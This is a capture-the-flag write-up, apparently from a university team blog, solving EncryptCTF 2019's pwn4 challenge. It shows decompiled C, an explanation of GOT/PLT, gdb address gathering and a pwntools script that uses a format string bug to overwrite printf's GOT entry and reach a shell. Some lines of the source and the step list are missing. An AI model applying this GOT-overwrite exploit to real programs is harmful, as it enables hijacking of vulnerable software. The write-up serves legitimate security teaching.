CTF Team at the University of British Columbia

[EncryptCTF 2019] pwn4 (300)

04 Apr 2019 by

Program Source + Explanation

int _() {
  return system("/bin/bash");

int __cdecl main(int argc, const char **argv, const char **envp) {

  char s; // [esp+1Ch] [ebp-84h]
  unsigned int v5; // [esp+9Ch] [ebp-4h]

  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  puts("Do you swear to use this shell with responsility by the old gods and the new?\n");
  printf("\ni don't belive you!\n%s\n", &s);

  return 0;

There is a function specifically made to call system("/bin/sh") (usually called the “win” function) - this makes things easier, because we don’t have to think about passing arguments and grabbing "/bin/sh" from memory, etc. We note that the main function receives through gets() and then proceeds to use printf() twice.

EverTokki@shell:~/TEMP$ ./pwn4
Do you swear to use this shell with responsility by the old gods and the new?

i don't belive you!

As you may know, printf(&s) is prone to a format string bug. You can use this bug to either leak elements off the stack(%d, %x, %p, %s), or to write to addresses(%n). We can see that the seventh element in the leak is 0x41414141, also known as “AAAA”. It’s printing out the stack elements - the first 6 elements, if I recall correctly, are register values. What does this mean? - We can store addresses in the stack so that our format string bug will write to those addresses.

Simple GOT overwrite using format string bug

I recommend reading more about GOT and PLT if this post alone doesn’t make sense.

Basically, here’s a rundown of PLT and GOT:

GOT is empty when you first look at the binary file but once you run your program and your library is loaded, the addresses will be dynamically linked to the procedure so that the jump from GOT will land at the function at LIBC.

So, we want to:

Some tips in general:

Gathering addresses

EverTokki@shell:~/TEMP$ gdb -q pwn4
Reading symbols from pwn4...(no debugging symbols found)...done.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x8048400 <system@plt>
gdb-peda$ p printf
$2 = {<text variable, no debug info>} 0x80483c0 <printf@plt>
gdb-peda$ x/xi 0x80483c0
   0x80483c0 <printf@plt>:	jmp    DWORD PTR ds:0x80498fc


#!/usr/bin/env python
from pwn import *

r = remote("", 5678)
#r = process("./pwn4")

# buffer is 7th argument

printf_got1 = 0x080498fc
printf_got2 = 0x080498fe

system = 0x804853d

payload = ""
payload += p32(printf_got1)
payload += p32(printf_got2)

# 8 bytes written

# printf -> win
# 0x853d(34109)
payload += "%34101c%7$hn"

# 0x10804(67588)
payload += "%33479c%8$hn"

print r.recvuntil("by the old gods and the new?\n")